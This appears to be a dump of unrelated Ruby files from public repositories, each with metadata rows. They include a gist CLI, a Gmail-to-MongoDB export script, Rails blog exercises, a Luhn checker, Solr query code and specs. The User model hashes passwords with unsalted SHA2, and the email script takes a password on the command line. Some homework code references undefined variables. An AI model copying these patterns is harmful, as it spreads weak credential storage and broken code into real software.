# Declarations #
# #
################
attr_reader :ref
###############
# #
# Constructor #
# #
###############
def initialize(shard_line)
@ref = Shard::Ref(shard_line)
end
#################
# #
# Class Methods #
# #
#################
def self.run(shard_line)
new(shard_line).run
end
####################
# #
# Instance Methods #
# #
####################
def run
if ref.nil?
puts "That is not a valid shard reference."
return
end
if Shard::Credentials.saved? && Shard::Credentials.valid?
fork_shard
else
puts "You are not currently logged into Github."
Shard::CLI::Config.run
if Shard::Credentials.saved?
run
end
end
end
private
def fork_shard
lister = Shard::Lister.new(ref.user)
shard = lister.shards[ref.name]
if shard
puts "Forking #{ ref.user }/#{ ref.name }..."
Shard.api.fork_gist(shard.id)
else
puts "That is not a valid shard reference."
end
end
end
end
| true
|
a6a3ab9954b8182c7cc148ff251828a72554043f
|
Ruby
|
thebravoman/software_engineering_2013
|
/class7_homework/test_Kiril_Kostadinov.rb
|
UTF-8
| 479
| 2.53125
| 3
|
[] |
no_license
|
require 'csv'
CSV.open("Kiril_Kostadinov_test_data/result.csv", "w") do |csv|
Dir.glob("*.rb") do |program|
next if program[0..3] == test
`mkdir test`
`ruby #{program} Kiril_Kostadinov_test_data/28.srt Kiril_Kostadinov_test_data/out.txt`
result = `diff Kiril_Kostadinov_test_data/out.txt Kiril_Kostadinov_test_data/Kiril_Kostadinov.txt`
result.gsub!(/[\n\r]/, "")
if result == ""
csv << [file, result, true]
else
csv << [file, result, false]
end
end
end
| true
|
548dd6580481ba87066f332d3a6bcb36b7579889
|
Ruby
|
zedtran/PrinciplesOfProgrammingLangs
|
/Ruby_LexicalAnalyzer/TinyToken.rb
|
UTF-8
| 752
| 3.484375
| 3
|
[] |
no_license
|
#
# Class Token - Encapsulates the tokens in TINY
#
# @type - the type of token
# @text - the text the token represents
#
class Token
attr_accessor :type
attr_accessor :text
EOF = "eof"
LPAREN = "("
RPAREN = ")"
WS = "whitespace"
ADDOP = "+"
MINUSOP = "-"
MULTOP = "*"
DIVOP = "/"
EQUALOP = "="
NUMBER = "number"
ALPHABET = "letter"
PRINT = "print"
ID = "unassigned"
#add the rest of the tokens needed based on the grammar
#specified in the Scanner class "TinyScanner.rb"
def initialize(type,text)
@type = type
@text = text
end
def get_type
return @type
end
def get_text
return @text
end
def to_s
# return "[Type: #{@type} || Text: #{@text}]"
return "#{@text}"
end
end
| true
|
1f9d64e9af7f1685d1c8aaaf7c4ac6447eb20f55
|
Ruby
|
jkoomjian/MyEmailResponseRate
|
/email2db.rb
|
UTF-8
| 3,748
| 2.734375
| 3
|
[] |
no_license
|
#!/usr/bin/env ruby
require 'net/imap'
require 'mongo'
require 'date'
include Mongo
############################################
# This script copies emails from gmail and
# inserts them into a mongo db
# modified from: http://wonko.com/post/ruby_script_to_sync_email_from_any_imap_server_to_gmail
############################################
# Mail server connection info.
SOURCE_HOST = 'imap.gmail.com'
SOURCE_PORT = 993
SOURCE_SSL = true
# Get all messages
FOLDER = '[Gmail]/All Mail'
# By default get all messages from the last month
$date_end = (DateTime.now + 1).strftime("%-d-%b-%Y")
# end date should be much longer than 1 mo. If a user responded to an old email
# that email should be in the db
$date_start = (DateTime.now - 51).strftime("%-d-%b-%Y")
# Maximum number of messages to select at once.
UID_BLOCK_SIZE = 1024
$synced = 0
#---------------- Utility Methods -----------------------#
def uid_fetch_block(server, uids, *args)
pos = 0
while pos < uids.size
server.uid_fetch(uids[pos, UID_BLOCK_SIZE], *args).each {|data| yield data }
pos += UID_BLOCK_SIZE
end
end
def s_ary(ary)
return ary ? ary.map{|x| x.to_s} : []
end
#---------------- Mongo Methods -----------------------#
def init_mongo
# connect, will create db, collection if they don't exist
$db = MongoClient.new("localhost", 27017).db("my_email_response_rate")
$coll = $db.collection("email_collection")
#clean the database
$coll.drop()
end
def insert_msg(jsmsg)
id = $coll.insert(jsmsg)
end
#---------------- Mail Methods -----------------------#
# simplify Address
class Net::IMAP::Address
def to_s
return "#{self.mailbox}@#{self.host}"
end
end
def print_msg(msg)
puts msg.seqno
puts msg.attr['UID']
# puts msg.attr['RFC822']
puts msg.attr['INTERNALDATE']
puts msg.attr['FLAGS']
puts msg.attr['ENVELOPE'].date
puts msg.attr['ENVELOPE'].subject
puts msg.attr['ENVELOPE'].from
puts msg.attr['ENVELOPE'].to
puts msg.attr['ENVELOPE'].cc
puts msg.attr['ENVELOPE'].bcc
puts msg.attr['ENVELOPE'].in_reply_to
puts msg.attr['ENVELOPE'].message_id
end
def msg_to_json(msg)
subject = msg.attr['ENVELOPE'].subject
return {
'seqno' => msg.seqno,
'uid' => msg.attr['UID'],
'internaldate' => msg.attr['INTERNALDATE'],
'flags' => msg.attr['FLAGS'],
'date' => msg.attr['ENVELOPE'].date,
'subject' => msg.attr['ENVELOPE'].subject,
'from' => s_ary(msg.attr['ENVELOPE'].from),
'to' => s_ary(msg.attr['ENVELOPE'].to),
'cc' => s_ary(msg.attr['ENVELOPE'].cc),
'bcc' => s_ary(msg.attr['ENVELOPE'].bcc),
'in_reply_to' => msg.attr['ENVELOPE'].in_reply_to,
'message_id' => msg.attr['ENVELOPE'].message_id,
'is_reply' => !!(subject && subject.match(/^Re:/i))
}
end
def run()
# puts 'Connecting...'
source = Net::IMAP.new(SOURCE_HOST, SOURCE_PORT, SOURCE_SSL)
# puts 'Logging in...'
source.login(SOURCE_USER, SOURCE_PASS)
# Open All Mail folder in read-only mode.
begin
source.examine(FOLDER)
rescue => e
puts "Error: select failed: #{e}"
end
# Loop through all messages in the source folder.
#uids = source.uid_search(['ALL'])
uids = source.uid_search(['SINCE', $date_start, 'BEFORE', $date_end])
# puts "Found #{uids.length} messages"
if uids.length > 0
uid_fetch_block(source, uids, ['UID', 'ENVELOPE', 'FLAGS', 'INTERNALDATE']) do |msg|
# puts msg.seqno
# puts msg_to_json(msg)
insert_msg( msg_to_json(msg) )
$synced += 1
end
end
source.close
# puts "Finished. Message counts: #{$synced} copied to db"
end
## Setup
if ARGV.length < 2
puts "Usage: ruby email2db.rb gmail_username gmail_password"
exit
end
SOURCE_USER = ARGV[0]
SOURCE_PASS = ARGV[1]
init_mongo()
run()
| true
|
eca121c3214cd03a1da28405d6a4c141f905f9b3
|
Ruby
|
ckaminer/api_curious
|
/app/models/geocoding.rb
|
UTF-8
| 218
| 2.609375
| 3
|
[] |
no_license
|
class Geocoding < OpenStruct
def self.service
@@service ||= GeocodingService.new
end
def self.retrieve(lat, lng)
address = service.get_address(lat, lng)
Geocoding.new({address: address})
end
end
| true
|
679bb42749ef2356cf4de85ac604e3b7c5d8cdfc
|
Ruby
|
Berlinta/ruby-object-attributes-lab-online-web-pt-021119
|
/lib/dog.rb
|
UTF-8
| 240
| 3.265625
| 3
|
[] |
no_license
|
class Dog
def name=(new_pup)
@name = new_pup
end
def name
@name
end
def breed=(new_kind)
@breed = new_kind
end
def breed
@breed
end
end
fido = Dog.new
fido.name = "Fido"
snoopy = Dog.new
snoopy.breed = "Beagle"
| true
|
30c515404f4c17dd6c5f26600e32aa79b85ff8ee
|
Ruby
|
arpodol/ruby_small_problems
|
/easy7/lettercase_counter.rb
|
UTF-8
| 680
| 3.78125
| 4
|
[] |
no_license
|
def letter_case_count(string)
results_hash = {:lowercase => 0, :uppercase => 0, :neither => 0}
string_array = string.split('')
string_array.each do |character|
if !!(character =~ /[a-z]/)
results_hash[:lowercase] +=1
elsif !!(character =~ /[A-Z]/)
results_hash[:uppercase] +=1
else
results_hash[:neither] +=1
end
end
results_hash
end
p letter_case_count('abCdef 123') == { lowercase: 5, uppercase: 1, neither: 4 }
p letter_case_count('AbCd +Ef') == { lowercase: 3, uppercase: 3, neither: 2 }
p letter_case_count('123') == { lowercase: 0, uppercase: 0, neither: 3 }
p letter_case_count('') == { lowercase: 0, uppercase: 0, neither: 0 }
| true
|
fd54261e6f18afe82c68551e355f30d6b9f27cfe
|
Ruby
|
ardenzhan/dojo-ruby
|
/arden_zhan/rails/blogs/queries.rb
|
UTF-8
| 2,735
| 2.8125
| 3
|
[] |
no_license
|
# Have the first 3 blogs be owned by the first user
User.first.update(blogs: Blog.where("id <= 3"))
# Have the 4th blog you create be owned by the second user
Blog.fourth.owners.create!(user: User.second)
# Have the 5th blog you create be owned by the last user
Blog.fifth.owners.create!(user: User.last)
# Have the third user own all of the blogs that were created.
User.third.update(blogs: Blog.all)
# Have the first user create 3 posts for the blog with an id of 2.
# BAD: Post.create(user: User.first, blog_id: 2)
# GOOD: Post.create(user: User.first, blog: Blog.find(2)).
# Again, you should never reference the foreign key in Rails
User.first.posts.create!(title: "Title", content: "Content", blog: Blog.find(2))
# Have the second user create 5 posts for the last Blog.
User.second.posts.create!(blog: Blog.last, title: "Title", content: "Content")
# Have the 3rd user create several posts for different blogs.
User.third.posts.create!(blog: Blog.third, title: "Title", content: "content")
# Have the 3rd user create 2 messages for the first post created and 3 messages for the second post created
User.third.messages.create!(post: Post.first, message: "Message")
User.third.messages.create!(post: Post.second, message: "Message")
# Have the 4th user create 3 messages for the last post you created.
User.fourth.messages.create!(post: Post.last, message: "message")
# Change the owner of the 2nd post to the last user.
Post.second.update(user: User.last)
# Change the 2nd post's content to be something else.
Post.second.update(content: "some other content")
# Retrieve all blogs owned by the 3rd user (make this work by simply doing: User.find(3).blogs).
User.third.blogs
# Retrieve all posts that were created by the 3rd user
User.third.posts
# Retrieve all messages left by the 3rd user
User.third.messages
Message.joins(:user).where("users.id = 3")
# Retrieve all posts associated with the blog id 5 as well as who left these posts.
Blog.find(5).posts.joins(:user).select("posts.*", "users.*")
Post.joins(:user, :blog).where("blogs.id = 5").select("posts.*", "users.*")
# Retrieve all messages associated with the blog id 5 along with all the user information of those who left the messages
Message.joins(:user).where(post: Blog.find(5).posts).select("messages.*", "users.first_name", "users.last_name")
# Grab all user information of those that own the first blog (make this work by allowing Blog.first.owners to work).
Blog.first.owners.joins(:user).select("owners.*", "users.*")
Blog.first.users
# Change it so that the first blog is no longer owned by the first user.
Owner.joins(:blog, :user).find_by("blogs.id = 1 AND users.id = 1").destroy #1 load
Blog.find(1).users.destroy(User.find(1)) #3 loads
| true
|
b224e6afdc7106ea9137dbea1d7425b4972ecb71
|
Ruby
|
BeerBatteredCode/week_02
|
/day_01/specs/library-spec.rb
|
UTF-8
| 661
| 2.828125
| 3
|
[] |
no_license
|
require('minitest/autorun')
require('minitest/rg')
require_relative('../library')
class TestLibrary < Minitest::Test
def setup
@library = Library.new()
@book = {
title: "lord_of_the_rings",
rental_details: {
student_name: "Jeff",
date: "01/12/16"
}
}
@library.books.push(@book)
end
def test_get_all_details
book_found = @library.get_all_details("lord_of_the_rings")
assert_equal(book_found[:title], "lord_of_the_rings")
end
def test_get_rental_details
rental_detail = @library.get_all_rental_details("lord_of_the_rings")
assert_equal(rental_detail == nil, false )
end
end
| true
|
2f865a5c170bece897a7a6d5f4f33e08066f3c35
|
Ruby
|
rockcoolsaint/depot_in_rails
|
/app/models/user.rb
|
UTF-8
| 1,075
| 2.59375
| 3
|
[] |
no_license
|
class User < ActiveRecord::Base
require 'digest/sha2'
attr_accessor :password
#attr_reader :password
validates :name, presence: true, uniqueness: true
validates :password, presence: true, confirmation: true
#validate :password_must_be_present
before_save :encrypt_password
after_destroy :ensure_an_admin_remains
def self.authenticate(name, password)
user = find_by_name(name)
return user if user && user.authenticated?(password)
end
def authenticated?(password)
self.hashed_password == encrypt(password)
end
def ensure_an_admin_remains
if User.count.zero?
raise "Can't delete last user"
end
end
private
def password_must_be_present
errors.add(:password, "Missing password") unless hashed_password.present?
end
def encrypt_password
self.salt = generate_salt if new_record?
self.hashed_password = encrypt(password)
end
def encrypt(string)
secure_hash("#{string}")
end
def generate_salt
self.salt = self.object_id.to_s + rand.to_s
end
def secure_hash(string)
Digest::SHA2.hexdigest(string)
end
end
| true
|
441ab1168611f2dae93767ec31c85283ec84ae6a
|
Ruby
|
wildkain/simple_rack_time
|
/time_formatter.rb
|
UTF-8
| 886
| 3.046875
| 3
|
[] |
no_license
|
class TimeFormatter
TIME_FORMAT = { "year" => "%Y", "month" => "%m", "day" => "%d",
"hour" => "%H h", "minute" => "%M m", "second" => "%S s" }.freeze
attr_accessor :status, :body
def initialize(query_string)
@query_string = query_string
@true_format = []
@unknown_format = []
query_to_time_format
response
end
def query_to_time_format
time_query = Rack::Utils.parse_nested_query(@query_string)['format'].split(',')
time_query.each do |time|
if TIME_FORMAT.has_key?(time)
@true_format << TIME_FORMAT[time]
else
@unknown_format << time
end
end
end
def response
if @unknown_format.empty?
self.status = 200
self.body = Time.now.strftime(@true_format.join("-"))
else
self.status = 400
self.body = "Unknown time format #{@unknown_format}"
end
end
end
| true
|
bc2e26f66455abee9c1eadaa76604ebccf0ac7d9
|
Ruby
|
ZABarton/phase-0
|
/week-6/credit-card/my_solution.rb
|
UTF-8
| 4,812
| 4.34375
| 4
|
[
"MIT"
] |
permissive
|
# Pseudocode
# Input: A 16 digit credit card number
# Output: True or false (depending on if credit card number is valid or not)
# Steps:
#
# Define CC Class
#
# Define the initialize method:
# Raise an argument error if CC# is not a 16 digit integer
# Take the argument passed into the init method and create a 16-element array
# Explicitly convert integer to string for this split method
# Each element equals a single digit of the CC#
# Create instance variable with the array
#
# Define a math method:
# Double the even indexes of our array (destructively)
# Iterate through the array to find and split two-digit numbers into one-digit numbers
# Explicitly convert the even indexes to integers for the math, then put as strings for future use
# Split two digit STRINGS into two one-digit STRINGS and convert all to integers
# Sum all elements of the array
# Assign this sum to a new instance variable
# Define a check_card method:
# Take our sum instance variable modulo 10
# If 0, true
# If not zero, false
# Initial Solution
# Don't forget to check on initialization for a card length
# of exactly 16 digits
# class CreditCard
# def initialize(number)
# unless number.to_s.length == 16 && number.is_a?(Integer)
# raise ArgumentError.new("Credit Card number needs to be a 16-digit integer")
# end
# @number = number.to_s.split("")
# end
# def math
# evens = @number.select.each_with_index { |x,y| y.even? }
# odds = @number.select.each_with_index { |x,y| y.odd? }
# evens.map! { |x| x.to_i * 2 }
# evens.map! { |x| x.to_s.split("")}
# @number = evens.flatten + odds
# @number.map! { |x| x.to_i }
# @sum = @number.inject { |total, object| total + object}
# puts @sum
# end
# def check_card
# math
# @sum % 10 == 0 ? (return true) : (return false)
# end
# end
# cardnumber = CreditCard.new(1203018346571839)
# cardnumber
# Refactored Solution
class CreditCard
def initialize(number)
unless number.to_s.length == 16 && number.is_a?(Integer)
raise ArgumentError.new("Credit Card Number needs to be a 16-digit integer")
end
@number = number.to_s.split("")
end
def math
split = @number.partition.each_with_index { |digit, index| index.even? }
split[0].map! { |number| (number.to_i * 2).divmod(10) }
split[1].map! { |number| number.to_i }
@sum = split.flatten.inject {|total, digits| total + digits }
end
def check_card
math
@sum % 10 == 0 ? (return true) : (return false)
end
end
=begin
REFLECTIONS
What was the most difficult part of this challenge for you and your pair?
Honestly, I think the hardest part of this challenge was managing all the transfers of strings
to integers and vice versa. We knew exactly what we wanted to do, and did a great job writing out
the pseudocode, but our .to_s and .to_i methods didn't always work how we intended them to. It took
some testing in IRB to figure out where the methods weren't working. However, we did learn a lot
about debugging in IRB so it was a good experience!
What new methods did you find to help you when you refactored?
This part of the challenge was great. We looked through the docs for anything that could help, and
came up with some new methods that simplified our code greatly. The partition method was a fantastic way
to separate the numbers we wanted to double from the numbers we wanted to leave alone. We used the
partition method to catch all of the even indexed numbers in the initial credit card array, and put them
in their own nested array. That way, we could map over that array while leaving the other digits alone.
The other big discovery was the divmod solution. Divmod returns an array of two digits, the first being the
quotient, and the second being the remainder. So if you have a two digit number and you apply the divmod(10)
method, you will receive an array with the two digits separated into an array. This made our summation code
easier because all we had to do was flatten the entire array and sum up all the numbers.
What concepts or learnings were you able to solidify in this challenge?
One thing we got some practice with was learning the order of operations in calling methods in a chain.
This gave us some issues applying the .to_s and .to_i methods. We were able to learn from this by writing
the code in long-form first - one method per line. Then, we could refactor later by combining the methods into
a single line. We also practiced testing the code in IRB by using the load command and running the driver code in
IRB. This was very helpful for debugging because you can see exactly what is being returned and if it's what
was expected. This helped us solve the inital problem faster because we could pinpoint the exact problems
due to seeing the returned values of the methods.
=end
| true
|
8ab76ab96588364183b6b949845f5a37a4848406
|
Ruby
|
machinio/solrb
|
/lib/solr/query/request/filter.rb
|
UTF-8
| 1,810
| 2.765625
| 3
|
[
"MIT"
] |
permissive
|
require 'date'
module Solr
module Query
class Request
class Filter
include Solr::Support::SchemaHelper
using Solr::Support::StringExtensions
EQUAL_TYPE = :equal
NOT_EQUAL_TYPE = :not_equal
attr_reader :type, :field, :value
def initialize(type:, field:, value:)
@type = type
@field = field
@value = value
end
def to_solr_s
"#{solr_prefix}#{solr_field}:(#{solr_value})"
end
def solr_field
solarize_field(@field)
end
def solr_value
if value.is_a?(::Array)
value.map { |v| to_primitive_solr_value(v) }.join(' OR ')
elsif value.is_a?(::Range)
to_interval_solr_value(value)
else
to_primitive_solr_value(value)
end
end
private
def solr_prefix
'-' if NOT_EQUAL_TYPE == type
end
def to_interval_solr_value(range)
solr_min = to_primitive_solr_value(range.first)
solr_max = to_primitive_solr_value(range.last)
"[#{solr_min} TO #{solr_max}]"
end
def to_primitive_solr_value(value)
if date_infinity?(value) || numeric_infinity?(value)
'*'
elsif date_or_time?(value)
value.strftime('%Y-%m-%dT%H:%M:%SZ')
else
%("#{value.to_s.solr_escape}")
end
end
def date_infinity?(value)
value.is_a?(DateTime::Infinity)
end
def numeric_infinity?(value)
value.is_a?(Numeric) && value.infinite?
end
def date_or_time?(value)
return false unless value
value.is_a?(::Date) || value.is_a?(::Time)
end
end
end
end
end
| true
|
152ea5c210f49e7f3c25cce0eb1bfeda2ca76514
|
Ruby
|
yauralee/merchant-guide
|
/spec/lib/calculator_spec.rb
|
UTF-8
| 2,496
| 3.03125
| 3
|
[] |
no_license
|
require 'parser/input_parser'
require 'Calculator'
RSpec.describe Calculator do
let(:input_parser) {InputParser.new}
let(:known_transactions) {input_parser.yaml_parser('resource/known_transactions.yml')}
let(:symbols_attributes) {input_parser.yaml_parser('resource/latin_symbols_attributes.yml')}
let(:calculator) {Calculator.new(known_transactions, symbols_attributes)}
let(:questions) {input_parser.yaml_parser('resource/questions.yml')}
describe '#initialize' do
context 'with known transactions and symbols attributes' do
it 'should return calculator instance with metal price as attribute' do
metals_prices = {"Silver"=>17.0, "Gold"=>14450.0, "Iron"=>195.5}
expect(Calculator.new(known_transactions, symbols_attributes).metals_prices).to eq(metals_prices)
end
end
end
describe '#calculate_results' do
context 'with questions' do
it 'should return result array' do
result_array = [42, 68.0, 57800.0, 782.0, "I have no idea what you are talking about"]
expect(Calculator.calculate_results(questions, symbols_attributes, known_transactions)).to eq(result_array)
end
end
end
describe '#symbols_to_value' do
context 'when given symbol string' do
it 'should return the value of the string' do
symbol_string = 'MCMXLIV'
expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(1944)
end
it 'should return the value of the string' do
symbol_string = 'MMVI'
expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(2006)
end
it 'should return the value of the string' do
symbol_string = 'XLII'
expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(42)
end
end
end
describe '#metal_total_price' do
context 'when given metal and amount symbols' do
it 'should return total price of this metal' do
amountSymbols_and_metal = {'IV' => 'Silver'}
expect(calculator.metal_total_price(amountSymbols_and_metal, symbols_attributes)).to eq(68)
end
end
end
describe '#have_no_idea' do
context 'when product is not metal' do
it 'should return have no idea' do
product_and_condition = {'wood' => 'could a woodchuck chuck if a woodchuck could chuck wood'}
expect(calculator.have_no_idea(product_and_condition)).to eq('I have no idea what you are talking about')
end
end
end
end
| true
|
690f7919926d4426c53b95c0d2e61a5cdc946eb4
|
Ruby
|
mi2zq/senju
|
/lib/senju/credentials.rb
|
UTF-8
| 351
| 2.59375
| 3
|
[] |
no_license
|
require 'yaml'
class Senju::Credentials
attr_reader :data
def initialize(filepath = nil)
filepath ||= Dir.home + '/.senju/credentials'
@data = YAML.load_file(filepath)
end
def [](conf)
@data[conf]
end
end
class Senju::Credential
def self.all
Senju::Credentials.new.data
end
def self.find(key)
all[key]
end
end
| true
|
829379e1ab5135601c310b046438ff3b1360529d
|
Ruby
|
nhsykym/AOJ
|
/ITP1_6_A.rb
|
UTF-8
| 69
| 2.796875
| 3
|
[] |
no_license
|
n = gets.to_i
arr = gets.split.map(&:to_i)
puts arr.reverse.join(' ')
| true
|
ad75528f9099f140fa4bef7475e3b2af96de8ca3
|
Ruby
|
martinstreicher/laserbeam
|
/lib/room.rb
|
UTF-8
| 2,204
| 3.234375
| 3
|
[] |
no_license
|
require 'hashie'
class Room
LASER = '@'
NoLaserException = Class.new Exception
RoomDesignException = Class.new Exception
InfiniteLoopException = Class.new Exception
attr_accessor :grid, :laser, :optics
def initialize(description)
self.optics = to_optics to_rows(description)
self.grid = to_room optics
self.laser = find_laser
grid.all? { |row| conform_to_size?(row) } or
raise(RoomDesignException)
end
def fire
laser or raise(NoLaserException)
beam = Hashie::Mash.new
beam.x = laser.x
beam.y = laser.y
previous_optics = []
optic = laser
hops = 0
loop do
hops += 1
(beam.x, beam.y) = optic.effect(previous_optics[-1])
break unless contained?(beam)
previous_optics.push(optic)
optic = grid[beam.x][beam.y]
raise(InfiniteLoopException) if optic.visited_from?(previous_optics[-1])
end
hops
end
def height
@height ||= optics.size
end
def width
@width ||= optics.first.size
end
private
def blank?(string)
string.nil? || string.empty?
end
def conform_to_size?(row)
(row.size == width) or puts("row #{row.map(&:to_s).join} is malformed.")
end
def contained?(beam)
(beam.x >= 0) && (beam.x < height) &&
(beam.y >= 0) && (beam.y < width)
end
def find_laser
grid.each_with_index do |row, row_index|
column_index = row.find_index { |column| column.is_a?(Beam) }
column_index and return(grid[row_index][column_index])
end
nil
end
def scrub(string)
string.gsub(/\s+/, '')
end
def to_optics(rows)
rows.map { |row| row.chars }
end
def to_room(optics)
Array.new.tap do |lab|
optics.each_with_index do |row, row_index|
row.each_with_index do |column, column_index|
optic = optics[row_index][column_index]
(lab[row_index] ||= [])[column_index] = OpticFactory.place(optic, row_index, column_index)
end
end
end
end
def to_rows(description)
description
.split("\n")
.map { |row| scrub row }
.reject { |row| blank? row }
end
end
| true
|
cfadb45ba577e0015e483aa6f8a99ff6edcc4423
|
Ruby
|
PhilipTimofeyev/LaunchSchool
|
/Intro_To_Programming/Ruby_Basics/Strings/String_Ex10.rb
|
UTF-8
| 93
| 2.53125
| 3
|
[] |
no_license
|
colors = 'blue pink yellow orange'.split
colors.include?('yellow')
colors.include?('purple')
| true
|
39eff94295398e100557bfb1807e95720526af49
|
Ruby
|
christianmacnamara/GA-Files
|
/HW_04.rb
|
UTF-8
| 2,640
| 4.53125
| 5
|
[] |
no_license
|
###############################################################################
#
# Introduction to Ruby on Rails
#
# Lab 04
#
# Purpose:
#
# Read the steps below and complete the exercises in this file. This Lab
# will help you to review the basics of Object-Oriented Programming that
# we learned in Lesson 04.
#
###############################################################################
#
# 1. Review your solution to Lab 03. Copy and Paste your solution to
# this file.
#
# 2. Create a new method called `increment_guess_count` that takes
# an integer parameter and increments it by 1.
#
# 3. Create a new method called `guesses_left` that calculates how many guesses
# out of 3 the Player has left. The method should take one parameter that is the
# number of guesses the player has guessed so far. Use this new method in your
# code to tell the user how many guesses they have remaining.
#
# 4. Make sure to remove your local variable `guesses_left` and use the
# new method instead.
#
# 5. Make sure to comment your code so that you have appropriate
# documentation for you and for the TAs grading your homework. :-)
#
###############################################################################
#
# Student's Solution
#
###############################################################################\
set_of_numbers = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ]
secret_number = set_of_numbers.sample
messages = Hash.new
messages[:win] = [ "Congratulations - You've won!" ]
messages[:lose] = [ "Sorry - You guessed wrong. The correct answer is #{secret_number}" ]
messages[:too_low] = [ "Sorry - Your guess was too low"]
messages[:too_high] = [ "Sorry - Your guess was too high"]
@current_guess_count = 0
def guesses_left
3 - @current_guess_count
end
def increment_guess_count
@current_guess_count += 1
end
first = "Christian"
last = "MacNamara"
puts "\nWelcome to the secret number game, created by #{first} #{last}"
puts "\nType your name:"
input_name = $stdin.gets.chomp
name = "#{input_name}"
puts "\nHi #{name}! You have 3 guesses to guess the Secret Number between 1 and 10."
3.times do |count|
puts "\nYou have #{ guesses_left } guesses left!"
puts "Guess a number between 1 and 10:"
guess_number = $stdin.gets.strip.to_i
if guess_number == secret_number
puts messages [:win]
puts "You got it in #{@current_guess_count} turns"
exit
elsif guess_number < secret_number
increment_guess_count
puts messages[:too_low]
elsif guess_number > secret_number
increment_guess_count
puts messages[:too_high]
end
end
puts messages[:lose]
puts "The secret number was #{secret_number}"
| true
|
adea2d931e0501596116f8246808f92b48e30771
|
Ruby
|
seann1/to_do_list_activerecord
|
/spec/list_spec.rb
|
UTF-8
| 690
| 2.53125
| 3
|
[] |
no_license
|
require 'spec_helper'
describe List do
it "has many tasks" do
list = List.create({:name => "list"})
task1 = Task.create({:name => "task1", :list_id => list.id})
task2 = Task.create({:name => "task2", :list_id => list.id})
list.tasks.should eq [task1, task2]
end
it 'validates presence of a name' do
list = List.new({:name => ''})
list.save.should eq false
end
it 'ensures that a list name is less than 50 characters long' do
list = List.new({:name => 'a' * 51})
list.save.should eq false
end
it 'puts the list name entered into all lowercase' do
list = List.new({:name => 'wORk'})
list.save
list.name.should eq 'work'
end
end
| true
|
02312bc064d05555d8739932c52fff18d6a15249
|
Ruby
|
Mortaro/towstagem
|
/lib/towsta/kinds/datetime.rb
|
UTF-8
| 443
| 2.53125
| 3
|
[] |
no_license
|
module Towsta
module Kinds
class DatetimeKind < MainKind
def set content
return @content = content if content.class == Time
begin
@content = DateTime.strptime(content, '%m/%d/%Y %H:%M').to_time
rescue
@content = nil
end
end
def export
return @content.strftime('%m/%d/%Y %H:%M') if @content.class == Time
@content.to_s
end
end
end
end
| true
|
3b9d4e57040730ddc9abe0ac9d8a9b2bb5899edb
|
Ruby
|
mdippery/usaidwat
|
/spec/usaidwat/formatter_spec.rb
|
UTF-8
| 16,559
| 2.609375
| 3
|
[
"MIT"
] |
permissive
|
require 'spec_helper'
require 'timecop'
module USaidWat
module CLI
describe BaseFormatter do
describe "options" do
describe "date formats" do
describe "#relative_dates?" do
it "should return true if a relative date formatter" do
f = BaseFormatter.new(:date_format => :relative)
expect(f.relative_dates?).to be true
end
it "should return true if relative date option is passed as a string" do
f = BaseFormatter.new(:date_format => 'relative')
expect(f.relative_dates?).to be true
end
it "should return false if date format is absolute" do
f = BaseFormatter.new(:date_format => :absolute)
expect(f.relative_dates?).to be false
end
it "should return false if date format is absolute and is passed as a string" do
f = BaseFormatter.new(:date_format => 'absolute')
expect(f.relative_dates?).to be false
end
it "should use relative dates by default" do
f = BaseFormatter.new
expect(f.relative_dates?).to be true
end
it "should use relative dates when a date format is invalid" do
f = BaseFormatter.new(:date_format => :iso)
expect(f.relative_dates?).to be true
end
end
end
describe "patterns" do
let (:formatter) { BaseFormatter.new(:pattern => /[0-9]+/) }
describe "#pattern" do
it "should return its pattern" do
expect(formatter.pattern).to eq(/[0-9]+/)
end
it "should return nil if it does not have a pattern" do
f = BaseFormatter.new
expect(f.pattern).to be nil
end
end
describe "#pattern?" do
it "should return true if it has a pattern" do
expect(formatter.pattern?).to be true
end
it "should return false if it does not have a pattern" do
f = BaseFormatter.new
expect(f.pattern?).to be false
end
it "should return false by default" do
f = BaseFormatter.new
expect(f.pattern?).to be false
end
end
end
describe "#raw?" do
it "should return true if it is a raw formatter" do
f = BaseFormatter.new(:raw => true)
expect(f.raw?).to be true
end
it "should return false if it is not a raw formatter" do
f = BaseFormatter.new(:raw => false)
expect(f.raw?).to be false
end
it "should return false by default" do
f = BaseFormatter.new
expect(f.raw?).to be false
end
end
end
end
describe PostFormatter do
let(:formatter) { PostFormatter.new }
before do
Timecop.freeze(Time.new(2015, 11, 19, 15, 27))
end
after do
Timecop.return
end
describe "#format" do
it "should return a string containing the formatted post" do
post = double("post")
expect(post).to receive(:subreddit).and_return("Games")
expect(post).to receive(:permalink).twice.and_return("/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/")
expect(post).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit")
expect(post).to receive(:created_utc).and_return(Time.at(1444928064))
expect(post).to receive(:url).twice.and_return("http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579")
expected = <<-EXPECTED
Games
https://www.reddit.com/r/Games/comments/3ovldc
The Xbox One Is Garbage And The Future Is Bullshit
about 1 month ago
http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579
EXPECTED
expected = expected.strip
actual = formatter.format(post).delete_ansi_color_codes
expect(actual).to eq(expected)
end
it "should not include the URL if it is the same as the permalink" do
permalink = "/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/"
post = double("post")
expect(post).to receive(:subreddit).and_return("Games")
expect(post).to receive(:permalink).twice.and_return(permalink)
expect(post).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit")
expect(post).to receive(:created_utc).and_return(Time.at(1444928064))
expect(post).to receive(:url).and_return("https://www.reddit.com#{permalink}")
expected = <<-EXPECTED
Games
https://www.reddit.com/r/Games/comments/3ovldc
The Xbox One Is Garbage And The Future Is Bullshit
about 1 month ago
EXPECTED
expected = expected.strip
actual = formatter.format(post).delete_ansi_color_codes
expect(actual).to eq(expected)
end
it "should print two spaces between posts" do
post1 = double("first post")
expect(post1).to receive(:subreddit).and_return("Games")
expect(post1).to receive(:permalink).twice.and_return("/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/")
expect(post1).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit")
expect(post1).to receive(:created_utc).and_return(Time.at(1444928064))
